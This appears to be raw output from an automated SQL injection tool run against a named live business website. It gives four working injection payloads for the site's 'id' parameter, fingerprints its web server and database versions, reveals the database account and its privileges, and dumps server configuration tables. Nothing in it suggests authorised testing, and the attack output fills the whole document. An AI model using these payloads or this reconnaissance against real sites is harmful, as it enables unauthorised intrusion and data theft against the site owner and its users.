Are you requesting access to your account?
http://www.chelsealightingdesign.co.uk/
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=24' AND 5117=5117 AND 'Toma'='Toma
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=24' AND (SELECT 3106 FROM(SELECT COUNT(*),CONCAT(0x71766a7871,(SELECT (ELT(3106=3106,1))),0x716a626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'kmLn'='kmLn
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=24' AND (SELECT 5949 FROM (SELECT(SLEEP(5)))ozzl) AND 'JxCI'='JxCI
Type: UNION query
Title: MySQL UNION query (NULL) - 8 columns
Payload: id=24' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71766a7871,0x506d6c557363737249586b524e42636f7645444d65436c6674574a6346595a6146466e6242734e44,0x716a626b71),NULL,NULL,NULL,NULL#
web application technology: Apache 2.4.46, PHP 5.6.40
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
banner: '5.5.68-MariaDB'
database management system users privileges:
[*] 'chlslight'@'localhost' [1]:
privilege: USAGE
Database: information_schema
Table: USER_PRIVILEGES
[1 entry]
+-------------------------+--------------+---------------+----------------+
| GRANTEE | IS_GRANTABLE | TABLE_CATALOG | PRIVILEGE_TYPE |
+-------------------------+--------------+---------------+----------------+
| 'chlslight'@'localhost' | NO | def | USAGE |
+-------------------------+--------------+---------------+----------------+
Database: information_schema
Table: GLOBAL_VARIABLES
[419 entries]
+---------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| VARIABLE_NAME | VARIABLE_VALUE |
+---------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| UNIQUE_CHECKS | ON |
| VERSION_COMPILE_MACHINE | x86_64 |
| VERSION | 5.5.68-MariaDB |
| QUERY_ALLOC_BLOCK_SIZE | 8192 |
| MIN_EXAMINED_ROW_LIMIT | 0 |
| INNODB_SYNC_SPIN_LOOPS | 30 |
| CHARACTER_SET_CLIENT | latin1 |
| INNODB_BLOCKING_BUFFER_POOL_RESTORE | OFF |
| QUERY_CACHE_WLOCK_INVALIDATE | OFF |
| INNODB_SHOW_LOCKS_HELD | 10 |
| THREAD_POOL_MAX_THREADS | 500 |
| INNODB_ADAPTIVE_HASH_INDEX | ON |
| REPLICATE_EVENTS_MARKED_FOR_SKIP | replicate |
| INNODB_IBUF_ACCEL_RATE | 100 |
| SKIP_NAME_RESOLVE | OFF |
| ARIA_BLOCK_SIZE | 8192 |
| INNODB_FORCE_LOAD_CORRUPTED | OFF |
| INNODB_IBUF_MAX_SIZE | 67092480 |
| FT_BOOLEAN_SYNTAX | + -><()~*:""&| |
| INNODB_DATA_HOME_DIR | <blank> |
| INNODB_READ_IO_THREADS | 4 |
| THREAD_POOL_STALL_LIMIT | 500 |
| INNODB_MAX_BITMAP_FILE_SIZE | 104857600 |
| MAX_BINLOG_CACHE_SIZE | 18446744073709547520 |
| INNODB_BUFFER_POOL_INSTANCES | 1 |
| TIMED_MUTEXES | OFF |
| INNODB_FORCE_RECOVERY | 0 |
| PERFORMANCE_SCHEMA_MAX_THREAD_INSTANCES | 1000 |
| INNODB_LOG_FILES_IN_GROUP | 2 |
| THREAD_POOL_SIZE | 4 |
| REPLICATE_ANNOTATE_ROW_EVENTS | OFF |
| HAVE_DYNAMIC_LOADING | YES |
| SKIP_NETWORKING | ON |
| SYNC_BINLOG | 0 |
| INNODB_PRINT_ALL_DEADLOCKS | OFF |
| INIT_CONNECT | <blank> |
| INNODB_STATS_TRADITIONAL | ON |
| HAVE_GEOMETRY | YES |
| INNODB_IMPORT_TABLE_FROM_XTRABACKUP | 0 |
| ENGINE_CONDITION_PUSHDOWN | OFF |
| INNODB_READ_AHEAD_THRESHOLD | 56 |
| HAVE_PROFILING | YES |
| INNODB_ADAPTIVE_FLUSHING_METHOD | estimate |
| TMP_TABLE_SIZE | 16777216 |
| KEY_BUFFER_SIZE | 134217728 |
| THREAD_HANDLING | one-thread-per-connection |
| INNODB_USE_FALLOCATE | OFF |
| QUERY_CACHE_TYPE | ON |
| SQL_BIG_TABLES | OFF |
| INNODB_STATS_METHOD | nulls_equal |
| TABLE_DEFINITION_CACHE | 400 |
| INNODB_FAST_SHUTDOWN | 1 |
| MAX_SP_RECURSION_DEPTH | 0 |
| INNODB_RECOVERY_UPDATE_RELAY_LOG | OFF |
| REPORT_PORT | 0 |
| INNODB_THREAD_CONCURRENCY | 0 |
| SSL_CIPHER | <blank> |
| ARIA_GROUP_COMMIT | none |
| SLAVE_EXEC_MODE | STRICT |
| INNODB_SIMULATE_COMP_FAILURES | 0 |
| KEY_CACHE_AGE_THRESHOLD | 300 |
| LOCAL_INFILE | ON |
| SQL_MODE | <blank> |
| HAVE_RTREE_KEYS | YES |
| INNODB_BUFFER_POOL_RESTORE_AT_STARTUP | 0 |
| BINLOG_FORMAT | STATEMENT |
| BINLOG_CHECKSUM | NONE |
| MAX_USER_CONNECTIONS | 0 |
| INNODB_PAGE_SIZE | 16384 |
| KEEP_FILES_ON_CREATE | OFF |
| EXTRA_MAX_CONNECTIONS | 1 |
| SQL_BUFFER_RESULT | OFF |
| RELAY_LOG_RECOVERY | OFF |
| KEY_CACHE_BLOCK_SIZE | 1024 |
| MAX_DELAYED_THREADS | 20 |
| HAVE_CSV | YES |
| ARIA_CHECKPOINT_LOG_ACTIVITY | 1048576 |
| PERFORMANCE_SCHEMA_MAX_FILE_HANDLES | 32768 |
| INNODB_FLUSH_LOG_AT_TRX_COMMIT | 1 |
| PRELOAD_BUFFER_SIZE | 32768 |
| MAX_RELAY_LOG_SIZE | 0 |
| TMPDIR | /tmp |
| INNODB_RANDOM_READ_AHEAD | OFF |
| KEY_CACHE_DIVISION_LIMIT | 100 |
| ARIA_PAGECACHE_DIVISION_LIMIT | 100 |
| PERFORMANCE_SCHEMA | OFF |
| PORT | 0 |
| REPLICATE_DO_TABLE | <blank> |
| REPORT_USER | <blank> |
| TX_ISOLATION | REPEATABLE-READ |
| LOG_BIN_TRUST_FUNCTION_CREATORS | OFF |
| LOG_ERROR | /var/lib/mysql/ector.err |
| INNODB_MAX_CHANGED_PAGES | 1000000 |
| INNODB_FLUSH_METHOD | <blank> |
| MYISAM_BLOCK_SIZE | 1024 |
| HAVE_SSL | DISABLED |
| MAX_BINLOG_STMT_CACHE_SIZE | 18446744073709547520 |
| IGNORE_BUILTIN_INNODB | OFF |
| INNODB_BUFFER_POOL_POPULATE | OFF |
| NET_WRITE_TIMEOUT | 60 |
| INNODB_SPIN_WAIT_DELAY | 6 |
| DATADIR | /var/lib/mysql/ |
| INNODB_ADAPTIVE_HASH_INDEX_PARTITIONS | 1 |
| LC_TIME_NAMES | en_US |
| DEFAULT_STORAGE_ENGINE | InnoDB |
| RELAY_LOG_SPACE_LIMIT | 0 |
| INNODB_LOCK_WAIT_TIMEOUT | 50 |
| SSL_CAPATH | <blank> |
| INNODB_OLD_BLOCKS_TIME | 0 |
| SSL_CERT | <blank> |
| RPL_RECOVERY_RANK | 0 |
| SSL_CA | <blank> |
| INNODB_LOG_GROUP_HOME_DIR | ./ |
| REPLICATE_IGNORE_DB | <blank> |
| USERSTAT | OFF |
| IGNORE_DB_DIRS | <blank> |
| LOCKED_IN_MEMORY | OFF |
| MAX_ALLOWED_PACKET | 1048576 |
| INNODB_LOCKING_FAKE_CHANGES | ON |
| READ_RND_BUFFER_SIZE | 262144 |
| BIG_TABLES | OFF |
| STORED_PROGRAM_CACHE | 256 |
| SSL_KEY | <blank> |
| SECURE_AUTH | OFF |
| JOIN_CACHE_LEVEL | 2 |
| SLAVE_SKIP_ERRORS | OFF |
| OLD_ALTER_TABLE | OFF |
| SLAVE_SQL_VERIFY_CHECKSUM | ON |
| RELAY_LOG_PURGE | ON |
| VERSION_COMPILE_OS | Linux |
| INNODB_USE_SYS_STATS_TABLE | OFF |
| PROGRESS_REPORT_TIME | 5 |
| INNODB_USE_STACKTRACE | OFF |
| SQL_WARNINGS | OFF |
| INNODB_LOG_BUFFER_SIZE | 8388608 |
| DIV_PRECISION_INCREMENT | 4 |
| INNODB_STATS_UPDATE_NEED_LOCK | 1 |
| DATETIME_FORMAT | %Y-%m-%d %H:%i:%s |
| INNODB_MAX_PURGE_LAG | 0 |
| SLAVE_NET_TIMEOUT | 3600 |
| MYISAM_MAX_SORT_FILE_SIZE | 9223372036853727232 |
| QUERY_CACHE_STRIP_COMMENTS | OFF |
| SLAVE_TYPE_CONVERSIONS | <blank> |
| SLAVE_TRANSACTION_RETRIES | 10 |
| SQL_NOTES | ON |
| PLUGIN_DIR | /usr/lib64/mysql/plugin/ |
| OLD_MODE | <blank> |
| BINLOG_ANNOTATE_ROW_EVENTS | OFF |
| HAVE_PARTITIONING | YES |
| LOG_SLAVE_UPDATES | OFF |
| INNODB_IBUF_ACTIVE_CONTRACT | 1 |
| INNODB_FILE_PER_TABLE | OFF |
| HAVE_COMPRESS | YES |
| MYISAM_STATS_METHOD | nulls_unequal |
| INNODB_USE_ATOMIC_WRITES | OFF |
| ARIA_SORT_BUFFER_SIZE | 134217728 |
| INNODB_DICT_SIZE_LIMIT | 0 |
| SYSTEM_TIME_ZONE | GMT |
| INNODB_DOUBLEWRITE | ON |
| PERFORMANCE_SCHEMA_MAX_FILE_INSTANCES | 10000 |
| TIME_FORMAT | %H:%i:%s |
| LOG_SLOW_QUERIES | OFF |
| DEFAULT_WEEK_FORMAT | 0 |
| INNODB_BUFFER_POOL_SHM_KEY | 0 |
| LOG_OUTPUT | FILE |
| ROWID_MERGE_BUFF_SIZE | 8388608 |
| PERFORMANCE_SCHEMA_MAX_TABLE_INSTANCES | 50000 |
| ARIA_LOG_PURGE_TYPE | immediate |
| INNODB_USE_NATIVE_AIO | ON |
| MAX_JOIN_SIZE | 18446744073709551615 |
| SQL_LOG_OFF | OFF |
| ARIA_PAGECACHE_AGE_THRESHOLD | 300 |
| TIME_ZONE | SYSTEM |
| HAVE_NDBCLUSTER | NO |
| INNODB_TRACK_CHANGED_PAGES | OFF |
| SLOW_QUERY_LOG_FILE | ector-slow.log |
| DEADLOCK_SEARCH_DEPTH_SHORT | 4 |
| SQL_SLAVE_SKIP_COUNTER | 0 |
| FT_MIN_WORD_LEN | 4 |
| COLLATION_DATABASE | latin1_swedish_ci |
| DEBUG_NO_THREAD_ALARM | OFF |
| NET_READ_TIMEOUT | 30 |
| SERVER_ID | 0 |
| PID_FILE | /var/run/mysql/mysql.pid |
| ARIA_MAX_SORT_FILE_SIZE | 9223372036853727232 |
| INNODB_RECOVERY_STATS | OFF |
| INNODB_MAX_DIRTY_PAGES_PCT | 75 |
| ARIA_FORCE_START_AFTER_RECOVERY_FAILURES | 0 |
| SYNC_RELAY_LOG_INFO | 0 |
| INNODB_DOUBLEWRITE_FILE | <blank> |
| ARIA_SYNC_LOG_DIR | NEWFILE |
| INNODB_CHECKSUMS | ON |
| MAX_ERROR_COUNT | 64 |
| INNODB_LOCKS_UNSAFE_FOR_BINLOG | OFF |
| INNODB_STATS_ON_METADATA | ON |
| MYISAM_USE_MMAP | OFF |
| ARIA_GROUP_COMMIT_INTERVAL | 0 |
| INNODB_CONCURRENCY_TICKETS | 500 |
| PROFILING_HISTORY_SIZE | 15 |
| SQL_SAFE_UPDATES | OFF |
| INNODB_CHANGE_BUFFERING | all |
| LOG_SLOW_RATE_LIMIT | 1 |
| INNODB_STATS_MODIFIED_COUNTER | 0 |
| SYNC_MASTER_INFO | 0 |
| BINLOG_OPTIMIZE_THREAD_SCHEDULING | ON |
| LICENSE | GPL |
| MAX_WRITE_LOCK_COUNT | 4294967295 |
| INNODB_BUFFER_POOL_SIZE | 134217728 |
| SQL_SELECT_LIMIT | 18446744073709551615 |
| INNODB_OPEN_FILES | 300 |
| INNODB_CORRUPT_TABLE_ACTION | assert |
| INNODB_FILE_FORMAT_MAX | Antelope |
| INNODB_FLUSH_NEIGHBOR_PAGES | area |
| INNODB_FAST_CHECKSUM | OFF |
| INNODB_LARGE_PREFIX | OFF |
| SOCKET | /var/run/mysql/mysql.sock |
| PLUGIN_MATURITY | unknown |
| INNODB_MERGE_SORT_BLOCK_SIZE | 1048576 |
| INNODB_LOG_BLOCK_SIZE | 512 |
| PROFILING | OFF |
| OLD | OFF |
| ARIA_PAGECACHE_BUFFER_SIZE | 134217728 |
| INNODB_WRITE_IO_THREADS | 4 |
| EXPENSIVE_SUBQUERY_LIMIT | 100 |
| MYISAM_REPAIR_THREADS | 1 |
| GENERAL_LOG_FILE | ector.log |
| SKIP_EXTERNAL_LOCKING | ON |
| EXTRA_PORT | 0 |
| INNODB_SHOW_VERBOSE_LOCKS | 0 |
| DEADLOCK_SEARCH_DEPTH_LONG | 15 |
| SQL_AUTO_IS_NULL | OFF |
| MRR_BUFFER_SIZE | 262144 |
| INNODB_FILE_FORMAT_CHECK | ON |
| EXPIRE_LOGS_DAYS | 0 |
| RELAY_LOG | <blank> |
| ARIA_RECOVER | NORMAL |
| INNODB_USE_SYS_MALLOC | ON |
| FOREIGN_KEY_CHECKS | ON |
| INNODB_CHECKPOINT_AGE_TARGET | 0 |
| INNODB_KILL_IDLE_TRANSACTION | 0 |
| ARIA_CHECKPOINT_INTERVAL | 30 |
| SLAVE_LOAD_TMPDIR | /tmp |
| MAX_TMP_TABLES | 32 |
| INNODB_COMMIT_CONCURRENCY | 0 |
| INNODB_STATS_SAMPLE_PAGES | 8 |
| INNODB_MIRRORED_LOG_GROUPS | 1 |
| REPLICATE_WILD_IGNORE_TABLE | <blank> |
| INNODB_PURGE_BATCH_SIZE | 20 |
| ARIA_STATS_METHOD | nulls_unequal |
| THREAD_STACK | 294912 |
| HAVE_QUERY_CACHE | YES |
| INNODB_SUPPORT_XA | ON |
| INNODB_LAZY_DROP_TABLE | 0 |
| DEADLOCK_TIMEOUT_SHORT | 10000 |
| INNODB_FAKE_CHANGES | OFF |
| COLLATION_CONNECTION | latin1_swedish_ci |
+---------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Database: information_schema
Table: PARTITIONS
[113 entries]
+----------+-----------+-----------+------------+---------------------------------------+---------------------+---------------------+---------------------+-------------+--------------+--------------------+---------------+----------------+----------------+-----------------+-------------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+
| CHECKSUM | NODEGROUP | DATA_FREE | TABLE_ROWS | TABLE_NAME | CHECK_TIME | UPDATE_TIME | CREATE_TIME | DATA_LENGTH | INDEX_LENGTH | TABLE_SCHEMA | TABLE_CATALOG | AVG_ROW_LENGTH | PARTITION_NAME | TABLESPACE_NAME | MAX_DATA_LENGTH | PARTITION_METHOD | SUBPARTITION_NAME | PARTITION_COMMENT | SUBPARTITION_METHOD | PARTITION_EXPRESSION | PARTITION_DESCRIPTION | SUBPARTITION_EXPRESSION | PARTITION_ORDINAL_POSITION | SUBPARTITION_ORDINAL_POSITION |
+----------+-----------+-----------+------------+---------------------------------------+---------------------+---------------------+---------------------+-------------+--------------+--------------------+---------------+----------------+----------------+-----------------+-------------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+
| NULL | <blank> | 0 | 0 | CHARACTER_SETS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 384 | NULL | NULL | 16434816 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | CLIENT_STATISTICS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 370 | NULL | NULL | 16509400 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLUMNS | NULL | 2021-08-04 00:17:15 | 2021-08-04 00:17:15 | 0 | 8192 | information_schema | def | 0 | NULL | NULL | 72057594037927935 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLUMN_PRIVILEGES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 2565 | NULL | NULL | 16757145 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | ENGINES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 731 | NULL | NULL | 16663145 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | EVENTS | NULL | 2021-08-04 00:17:15 | 2021-08-04 00:17:15 | 0 | 8192 | information_schema | def | 0 | NULL | NULL | 72057594037927935 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | FILES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 2677 | NULL | NULL | 16758020 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | GLOBAL_STATUS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | GLOBAL_VARIABLES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INDEX_STATISTICS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 1743 | NULL | NULL | 16765917 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | KEY_CACHES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 659 | NULL | NULL | 16650294 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | KEY_COLUMN_USAGE | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 4637 | NULL | NULL | 16762755 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | PARAMETERS | NULL | 2021-08-04 00:17:15 | 2021-08-04 00:17:15 | 0 | 8192 | information_schema | def | 0 | NULL | NULL | 72057594037927935 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | PARTITIONS | NULL | 2021-08-04 00:17:15 | 2021-08-04 00:17:15 | 0 | 8192 | information_schema | def | 0 | NULL | NULL | 72057594037927935 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | PLUGINS | NULL | 2021-08-04 00:17:15 | 2021-08-04 00:17:15 | 0 | 8192 | information_schema | def | 0 | NULL | NULL | 72057594037927935 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | PROCESSLIST | NULL | 2021-08-04 00:17:15 | 2021-08-04 00:17:15 | 0 | 8192 | information_schema | def | 0 | NULL | NULL | 72057594037927935 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | PROFILING | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 308 | NULL | NULL | 16562084 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | REFERENTIAL_CONSTRAINTS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 4814 | NULL | NULL | 16767162 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | ROUTINES | NULL | 2021-08-04 00:17:15 | 2021-08-04 00:17:15 | 0 | 8192 | information_schema | def | 0 | NULL | NULL | 72057594037927935 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | SCHEMATA | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 3464 | NULL | NULL | 16738048 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | SCHEMA_PRIVILEGES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 2179 | NULL | NULL | 16736899 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | SESSION_STATUS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | SESSION_VARIABLES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | STATISTICS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 5753 | NULL | NULL | 16752736 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | TABLES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 9450 | NULL | NULL | 16764300 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | TABLESPACES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 6951 | NULL | NULL | 16772763 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | TABLE_CONSTRAINTS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 2504 | NULL | NULL | 16721712 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | TABLE_PRIVILEGES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 2372 | NULL | NULL | 16748692 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | TABLE_STATISTICS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 1181 | NULL | NULL | 16733589 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | TRIGGERS | NULL | 2021-08-04 00:17:15 | 2021-08-04 00:17:15 | 0 | 8192 | information_schema | def | 0 | NULL | NULL | 72057594037927935 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | USER_PRIVILEGES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 1986 | NULL | NULL | 16726092 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | USER_STATISTICS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 551 | NULL | NULL | 16746543 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | VIEWS | NULL | 2021-08-04 00:17:15 | 2021-08-04 00:17:15 | 0 | 8192 | information_schema | def | 0 | NULL | NULL | 72057594037927935 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_CMPMEM_RESET | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 29 | NULL | NULL | 15204352 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_RSEG | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 49 | NULL | NULL | 14680057 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_UNDO_LOGS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 1620 | NULL | NULL | 16734600 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_CMPMEM | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 29 | NULL | NULL | 15204352 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_SYS_TABLESTATS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 1796 | NULL | NULL | 16738720 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_LOCK_WAITS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 599 | NULL | NULL | 16749238 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_INDEX_STATS | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 2529 | NULL | NULL | 16729335 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_CMP | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 25 | NULL | NULL | 13107200 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_CMP_RESET | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 25 | NULL | NULL | 13107200 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_CHANGED_PAGES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 25 | NULL | NULL | 13107200 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_BUFFER_POOL_PAGES | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 234 | NULL | NULL | 16357770 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_TRX | NULL | NULL | 2021-08-04 00:17:15 | 0 | 0 | information_schema | def | 4534 | NULL | NULL | 16766732 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
